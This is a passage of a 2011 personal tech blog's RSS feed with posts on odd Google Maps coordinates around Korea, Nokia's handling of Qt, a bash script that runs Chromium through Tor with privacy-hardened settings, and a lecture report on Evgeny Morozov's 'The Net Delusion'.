<a href="http://maps.google.com/?q=36.65000000,129.70000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=36.65000000_129.70000000&amp;referer=');">36.65000000,129.70000000</a><br />
<a href="http://maps.google.com/?q=37.02777300,131.05316200" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=37.02777300_131.05316200&amp;referer=');">37.02777300,131.05316200</a><br />
<a href="http://maps.google.com/?q=38.62000000,127.96000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.62000000_127.96000000&amp;referer=');">38.62000000,127.96000000</a><br />
<a href="http://maps.google.com/?q=38.62000000,128.67000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.62000000_128.67000000&amp;referer=');">38.62000000,128.67000000</a><br />
<a href="http://maps.google.com/?q=38.62000000,129.36000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.62000000_129.36000000&amp;referer=');">38.62000000,129.36000000</a><br />
<a href="http://maps.google.com/?q=38.62000000,132.00347900" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.62000000_132.00347900&amp;referer=');">38.62000000,132.00347900</a><br />
<a href="http://maps.google.com/?q=38.69301300,128.49609400" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.69301300_128.49609400&amp;referer=');">38.69301300,128.49609400</a><br />
<a href="http://maps.google.com/?q=38.69301300,128.84765600" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.69301300_128.84765600&amp;referer=');">38.69301300,128.84765600</a><br />
<a href="http://maps.google.com/?q=38.69301300,131.05316200" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.69301300_131.05316200&amp;referer=');">38.69301300,131.05316200</a><br />
<a href="http://maps.google.com/?q=38.69301300,132.00347900" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=38.69301300_132.00347900&amp;referer=');">38.69301300,132.00347900</a></p>
<p>Open these in tabs. We see strange locations in the seas surrounding Korea, including a few locations on land.</p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/korea2.png" alt="" title="Sea Location" width="247" height="257" class="size-full wp-image-538" /><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/korea4.png" alt="" title="Land Location" width="181" height="171" class="size-full wp-image-536" /><br />
Why?</p>
<p><b>Update: Mystery Solved! A commenter writes, &#8220;This is due to Korean law prohibiting exporting detailed maps outside of Korea. That’s why Google (and other companies like Yahoo) set up separate server in Korea for detailed Korean map tiles. Areas linked in this post are supposed to be Korean water and land frontiers. This is actually a legacy of cold war era.&#8221;</b></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/531#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=531" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/531/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nokia Admits to not Focusing on Desktop Qt</title>
		<link>http://blog.zx2c4.com/527</link>
		<comments>http://blog.zx2c4.com/527#comments</comments>
		<pubDate>Sat, 19 Feb 2011 09:44:13 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=527</guid>
		<description><![CDATA[In a comment from a Qt Nokia engineer: Qt on the desktop is currently not a priority for our R&#038;D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/527#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=527" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>In a <a href="http://labs.qt.nokia.com/2011/02/18/buckets-of-cold-water/#comment-19420" onclick="pageTracker._trackPageview('/outgoing/labs.qt.nokia.com/2011/02/18/buckets-of-cold-water/_comment-19420?referer=');">comment from a Qt Nokia engineer</a>:</p>
<blockquote><p>
<!-- Good morning, and thanks for the taking the time to read the post and for great comments. For the start I’ll reply to the big topics raised, and then tackle a few individual comments after the coffee break. Before I start though, be reminded that even though I’ll try to stick to facts, how I interpret them reflects my personal view as the Head of Qt R&#038;D in Oslo.</p>
<p>On the topic of Stephen Elop – I will not start speculating here. He is CEO of Nokia, he has sold his Microsoft shares and invested into Nokia, and he has in my mind lived up to his promise of (brutally) honest and transparent decision making. He and everybody else in the company wants to turn Nokia around, and from all we have heard and seen so far he believes that Qt will play a part in that, both short term and long term. We might not like his smartphone strategy, but if we don’t believe what he and his management team say publicly, then this is not going to be a very constructive discussion.</p>
<p>Regarding the (financial or organizational) independence of Qt in Nokia – Trolltech wasn’t profitable for many years prior to the Nokia acquisition. After the acquisition we put Qt under the LGPL, and we have by now tripled the size of our team. We have invested significantly in our QA infrastructure (automation of quality gates and continuous integration), and there is much more travel between Oslo and Australia. However, assuming that each unit in a large organization has to be profitable to justify its existence is a bit of an oversimplification. Take Google: Android itself doesn’t make money – but it’s a vehicle that brings people into the Google-Internet which in turn increases advertisement revenue.<br />
So financial aspects do as such IMHO not play into this – Qt is an investment, and whatever money we could possibly make with Qt commercial licenses or services would barely be a blip on the radar. As long as management trusts that Qt can help Nokia, management will fund Qt – and everything we believe, and everything we have heard from top-management during the last week, is that Qt as a part of the solution, not as part of the problem.</p>
<p>I consider our organization to be largely independent – we have our own roadmap, we decide what positions we prioritize when we hire, we decide who to hire etc. Naturally, much of our work during the last two years was driven by requirements from other parts of Nokia, and many of the things we started up ourselves were inspired by the new opportunities we saw when working for a leading device company. Our success is of course no longer measured exclusively in “number of Qt users” (although that is still a very relevant metrics), and finding out how our success will be measured is work in progress as part of the strategy change.</p>
<p>I like to believe that Qt as a technology is independent of Nokia, thanks to the community of Qt users and thanks to Open Governance. There is a lot of momentum behind Qt most of which is independent of being able to target Symbian devices with Qt, and many of us get a lot of motivation from working on a technology that transcends short-term product needs and changing corporate strategies.</p>
<p>-->Qt on the desktop is currently not a priority for our R&#038;D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool for desktop applications, even if we just maintain it and keep it working on the desktop platforms. We definitely want to keep it that way, and we continue to improve and modernize Qt on the desktop as well, but I personally don’t really see that there are a lot of new features we could add to make Qt significantly more powerful for desktop development (esp features that are already provided by other libraries – why cannibalize our own community?).<!-- And lastly, even with 260 engineers and growing, there is only a finite amount of work we can do, and right now we prioritize getting Qt into top-shape for embedded platforms. We do expect that many of the improvements we make there will also bring value back to desktop developers – for instance, we are working on some exciting stuff with QML, accessibility, HTML5 and improved localization support.</p>
<p>So, what happens 2 years from now when the last Symbian device has shipped? I don’t have that kind of crystal ball, and I generally prefer the presence to the future. From looking at the presence I believe that making Qt’s future depend on the organizations behind non-competitive Symbian devices or a single MeeGo device in 2011 would have been a strategic mistake. On one of our whiteboards in the hallway somebody quoted Abraham Lincoln: “The best way to predict the future is to create it”. Since Friday 11th we have a real chance of doing exactly that. --></p></blockquote>
<p>Perhaps obvious and expected, but are we okay with this admission?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/527#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=527" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/527/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Is This Optimistic Commenter Correct?</title>
		<link>http://blog.zx2c4.com/521</link>
		<comments>http://blog.zx2c4.com/521#comments</comments>
		<pubDate>Sun, 13 Feb 2011 21:13:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=521</guid>
		<description><![CDATA[&#8230;or is this just wishful thinking? If his prediction is correct, does that mean Meego will be revived?<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/521#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=521" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://piacentini.blog.br/2011/02/elop-is-after-me/#comment-297" onclick="pageTracker._trackPageview('/outgoing/piacentini.blog.br/2011/02/elop-is-after-me/_comment-297?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/02/optimisticcomment.png" alt="" title="In a less imperfect world..." width="672" height="541" class="alignnone size-full wp-image-522" /></a></p>
<p>&#8230;or is this just wishful thinking?</p>
<p>If his prediction is correct, does that mean Meego will be revived?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/521#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=521" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/521/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>ACCELERATE QT OPEN GOVERNANCE</title>
		<link>http://blog.zx2c4.com/513</link>
		<comments>http://blog.zx2c4.com/513#comments</comments>
		<pubDate>Fri, 11 Feb 2011 15:44:46 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[death]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=513</guid>
		<description><![CDATA[&#8230;before Nokia kills Qt. Update: Our voice has been heard about this, but they still don&#8217;t know what the hell is happening.<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/513#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=513" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>&#8230;before <a href="http://www.engadget.com/2011/02/11/nokia-notifies-developers-that-qt-is-out-for-windows-phone-devel/" onclick="pageTracker._trackPageview('/outgoing/www.engadget.com/2011/02/11/nokia-notifies-developers-that-qt-is-out-for-windows-phone-devel/?referer=');">Nokia kills Qt</a>.</p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/02/deathtomeego.jpg" title="Qt will die soon. Embrace, Extend, Extinguish" width="466" height="274" class="alignnone size-full wp-image-516" /></p>
<p><strong>Update:</strong> Our <a href="http://lists.qt-labs.org/public/opengov/2011-February/000283.html" onclick="pageTracker._trackPageview('/outgoing/lists.qt-labs.org/public/opengov/2011-February/000283.html?referer=');">voice has been heard</a> about this, but <a href="http://twitter.com/qtbynokia/status/36012807392591872" onclick="pageTracker._trackPageview('/outgoing/twitter.com/qtbynokia/status/36012807392591872?referer=');">they still don&#8217;t know what the hell is happening</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/513#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=513" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/513/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Jury Rigging Google Chrome to Use Tor</title>
		<link>http://blog.zx2c4.com/440</link>
		<comments>http://blog.zx2c4.com/440#comments</comments>
		<pubDate>Fri, 28 Jan 2011 03:00:38 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[anonymity]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[incognito]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[tor]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=440</guid>
		<description><![CDATA[Chromium is a great browser, but it does do various types of phoning home and packet routing, which makes using Tor with it somewhat tricky. I&#8217;ve devised a script that creates a new Chromium session configured to route its traffic only through Tor, and erases all evidence afterwards. It also disables Flash and Java (which [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/440#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=440" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Chromium is a great browser, but it does do various types of phoning home and packet routing, which makes using <a href="http://www.torproject.org/" onclick="pageTracker._trackPageview('/outgoing/www.torproject.org/?referer=');">Tor</a> with it somewhat tricky. I&#8217;ve devised a script that creates a new Chromium session configured to route its traffic only through Tor, and erases all evidence afterwards. It also disables Flash and Java (which will reveal your IP address), spoofs a generic Chrome user agent, disables metric reporting, prefetching, syncing, search result suggesting, and whatever other phoning home services I could identify to lock down. The first lines of the script run <a href="http://www.torproject.org/projects/vidalia.html.en" onclick="pageTracker._trackPageview('/outgoing/www.torproject.org/projects/vidalia.html.en?referer=');">vidalia</a> if it isn&#8217;t running, the official GUI for Tor. This is known to work on Chromium 10.x, which is the current dev channel; I do not know about prior versions.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> Projects<span style="color: #000000; font-weight: bold;">/</span>torchrome.sh                                                                                                                                                                                             
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #c20cb9; font-weight: bold;">ps</span> <span style="color: #660033;">-C</span> vidalia <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null; <span style="color: #000000; font-weight: bold;">then</span>                                                                                                                                                                                                         
        vidalia<span style="color: #000000; font-weight: bold;">&amp;</span>                                                                                                                                                                                                                             
<span style="color: #000000; font-weight: bold;">fi</span>                                                                                                                                                                                                                                           
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome <span style="color: #000000; font-weight: bold;">&amp;&amp;</span>                                                                                                                                                                                                                     
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome<span style="color: #000000; font-weight: bold;">/</span>Default <span style="color: #000000; font-weight: bold;">&amp;&amp;</span>                                                                                                                                                                                                           
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome<span style="color: #000000; font-weight: bold;">/</span>First\ Run                                                                                                                                                                                                              
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>END <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome<span style="color: #000000; font-weight: bold;">/</span>Default<span style="color: #000000; font-weight: bold;">/</span>Preferences <span style="color: #000000; font-weight: bold;">&amp;&amp;</span>                                                                                                                                                                                            
<span style="color: #7a0874; font-weight: bold;">&#123;</span>                                                                                                                                                                                                                                            
   <span style="color: #ff0000;">&quot;alternate_error_pages&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>                                                                                                                                                                                                                
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>                                                                                                                                                                                                                       
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,                                                                                                                                                                                                                                        
   <span style="color: #ff0000;">&quot;autofill&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>                                                                                                                                                                                                                             
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>                                                                                                                                                                                                                       
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,                                                                                                                                                                                                                                        
   <span style="color: #ff0000;">&quot;browser&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>                                                                                                                                                                                                                              
      <span style="color: #ff0000;">&quot;custom_chrome_frame&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>                                                                                                                                                                                                            
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,                                                                                                                                                                                                                                        
   <span style="color: #ff0000;">&quot;default_search_provider&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>,
      <span style="color: #ff0000;">&quot;encodings&quot;</span>: <span style="color: #ff0000;">&quot;UTF-8&quot;</span>,
      <span style="color: #ff0000;">&quot;icon_url&quot;</span>: <span style="color: #ff0000;">&quot;about:blank&quot;</span>,
      <span style="color: #ff0000;">&quot;id&quot;</span>: <span style="color: #ff0000;">&quot;2&quot;</span>,
      <span style="color: #ff0000;">&quot;instant_url&quot;</span>: <span style="color: #ff0000;">&quot;&quot;</span>,
      <span style="color: #ff0000;">&quot;keyword&quot;</span>: <span style="color: #ff0000;">&quot;google.com&quot;</span>,
      <span style="color: #ff0000;">&quot;name&quot;</span>: <span style="color: #ff0000;">&quot;Google&quot;</span>,
      <span style="color: #ff0000;">&quot;prepopulate_id&quot;</span>: <span style="color: #ff0000;">&quot;1&quot;</span>,
      <span style="color: #ff0000;">&quot;search_url&quot;</span>: <span style="color: #ff0000;">&quot;{google:baseURL}search?ie={inputEncoding}&amp;q={searchTerms}&quot;</span>,
      <span style="color: #ff0000;">&quot;suggest_url&quot;</span>: <span style="color: #ff0000;">&quot;&quot;</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;dns_prefetching&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;download&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;directory_upgrade&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;extensions&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;autoupdate&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;next_check&quot;</span>: <span style="color: #ff0000;">&quot;12940162523897409&quot;</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
      <span style="color: #ff0000;">&quot;chrome_url_overrides&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;bookmarks&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;chrome-extension://eemcgdkfndhakfknompkggombfjjjeno/main.html&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
      <span style="color: #ff0000;">&quot;theme&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;id&quot;</span>: <span style="color: #ff0000;">&quot;&quot;</span>,
         <span style="color: #ff0000;">&quot;use_system&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;geolocation&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;default_content_setting&quot;</span>: <span style="color: #000000;">2</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;google&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;services&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;username&quot;</span>: <span style="color: #ff0000;">&quot;&quot;</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;homepage&quot;</span>: <span style="color: #ff0000;">&quot;about:blank&quot;</span>,
   <span style="color: #ff0000;">&quot;homepage_is_newtabpage&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>,
   <span style="color: #ff0000;">&quot;ntp&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;alt_logo_end&quot;</span>: <span style="color: #000000;">1255017600.0</span>,
      <span style="color: #ff0000;">&quot;alt_logo_start&quot;</span>: <span style="color: #000000;">1255017600.0</span>,
      <span style="color: #ff0000;">&quot;pref_version&quot;</span>: <span style="color: #000000;">3</span>,
      <span style="color: #ff0000;">&quot;web_resource_cache_update&quot;</span>: <span style="color: #ff0000;">&quot;1295688216.445951&quot;</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;plugins&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;enabled_internal_pdf3&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;profile&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;clear_site_data_on_exit&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>,
      <span style="color: #ff0000;">&quot;content_settings&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;pref_version&quot;</span>: <span style="color: #000000;">1</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
      <span style="color: #ff0000;">&quot;default_content_settings&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
         <span style="color: #ff0000;">&quot;plugins&quot;</span>: <span style="color: #000000;">2</span>
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
      <span style="color: #ff0000;">&quot;exited_cleanly&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">true</span>,
      <span style="color: #ff0000;">&quot;multiple_profile_prefs_version&quot;</span>: <span style="color: #000000;">1</span>,
      <span style="color: #ff0000;">&quot;notifications_default_content_setting&quot;</span>: <span style="color: #000000;">2</span>,
      <span style="color: #ff0000;">&quot;password_manager_enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;safebrowsing&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;search&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;suggest_enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;sync&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;passwords&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>,
      <span style="color: #ff0000;">&quot;preferences&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>,
      <span style="color: #ff0000;">&quot;sessions&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>,
      <span style="color: #ff0000;">&quot;themes&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>,
      <span style="color: #ff0000;">&quot;typed_urls&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;tabs&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;use_vertical_tabs&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>,
   <span style="color: #ff0000;">&quot;translate&quot;</span>: <span style="color: #7a0874; font-weight: bold;">&#123;</span>
      <span style="color: #ff0000;">&quot;enabled&quot;</span>: <span style="color: #c20cb9; font-weight: bold;">false</span>
   <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
END
chromium <span style="color: #660033;">--incognito</span> <span style="color: #660033;">--proxy-server</span>=socks5:<span style="color: #000000; font-weight: bold;">//</span>localhost:<span style="color: #000000;">9050</span> <span style="color: #660033;">--user-data-dir</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome <span style="color: #660033;">--disable-plugins</span> <span style="color: #660033;">--disable-java</span> <span style="color: #660033;">--disable-metrics</span> <span style="color: #660033;">--disable-metrics-reporting</span> <span style="color: #660033;">--user-agent</span>=<span style="color: #ff0000;">'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10'</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>torchrome</pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/440#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=440" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/440/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Compulsive Columbian Tweeters Tremble</title>
		<link>http://blog.zx2c4.com/428</link>
		<comments>http://blog.zx2c4.com/428#comments</comments>
		<pubDate>Fri, 28 Jan 2011 02:43:10 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bwog]]></category>
		<category><![CDATA[censorship]]></category>
		<category><![CDATA[columbia]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[justice]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=428</guid>
		<description><![CDATA[Below is my pre-edited version of this Bwog post. Having recently finished Dawking&#8217;s The God Delusion, an anxious audience murmured in fear of having their new deities of Facebook and Twitter crushed by Evgeny Morozov, at a lecture this Tuesday at Columbia&#8217;s School of International and Public Affairs on The Net Delusion, his recent analysis [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/428#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=428" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><em>Below is my pre-edited version of <a href="http://bwog.com/2011/01/27/lecturehop-the-revolution-will-not-be-tweeted/" onclick="pageTracker._trackPageview('/outgoing/bwog.com/2011/01/27/lecturehop-the-revolution-will-not-be-tweeted/?referer=');">this Bwog post</a>.</em></p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/01/netdelusion.jpg" alt="" title="The Net Delusion" width="250" height="224" class="alignright size-full wp-image-438" />Having recently finished Dawking&#8217;s <em>The God Delusion</em>, an anxious audience murmured in fear of having their new deities of Facebook and Twitter crushed by Evgeny Morozov, at a lecture this Tuesday at Columbia&#8217;s School of International and Public Affairs on <em>The Net Delusion</em>, his recent analysis of social technology in authoritarian regimes. After working for NGOs that promoted “new media” for social justice, Morozov began to suspect that organizations like his own were doing more harm than good. He saw evidence not just of government censorship, but also of governments paying bloggers to publish propaganda and large government projects to scour social networks to learn how best to squelch opposition activists. Eventually he left his organization to investigate just how much an impact – for better or for worse – the Internet has had on activism in authoritarian countries.</p>
<p>Morozov claimed that our fundamental incorrect presumption about the Internet is what he called the “dictator’s dilemma”: either a country can keep the Internet out, and thus exclude themselves from the global economy, or they can let the Internet in and be eventually usurped by protestors well organized through websites like Twitter. In reality, however, autocratic powers have figured out how to let the Internet in without the supposed massive undermining consequences, not just through firewalls and censorship – as in the <a href="http://en.wikipedia.org/wiki/Great_Firewall_of_China" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Great_Firewall_of_China?referer=');">case of China</a> – but through tracking and surveying. Governments can easily learn, with ease, which activists are associated with one another, what their plans are, how they acquire funds, and the like. There have even been reported instances in which governments have crawled Facebook for pictures of an anti-state protest, and then created a fake “crowd-sourcing” website that encouraged viewers to identify their “friends” in the pictures. Arrests came swiftly after. In Belarus, the government went so far as to request a cellphone company to query the identities of all cellphone users who were located in a particular square during a protest. And just last week in Tunisia, the <a href="http://yro.slashdot.org/story/11/01/12/0046248/Tunisian-Govt-Spies-On-Facebook-Does-the-US" onclick="pageTracker._trackPageview('/outgoing/yro.slashdot.org/story/11/01/12/0046248/Tunisian-Govt-Spies-On-Facebook-Does-the-US?referer=');">government attempted to access protestors’ Facebook accounts</a>. Of course, 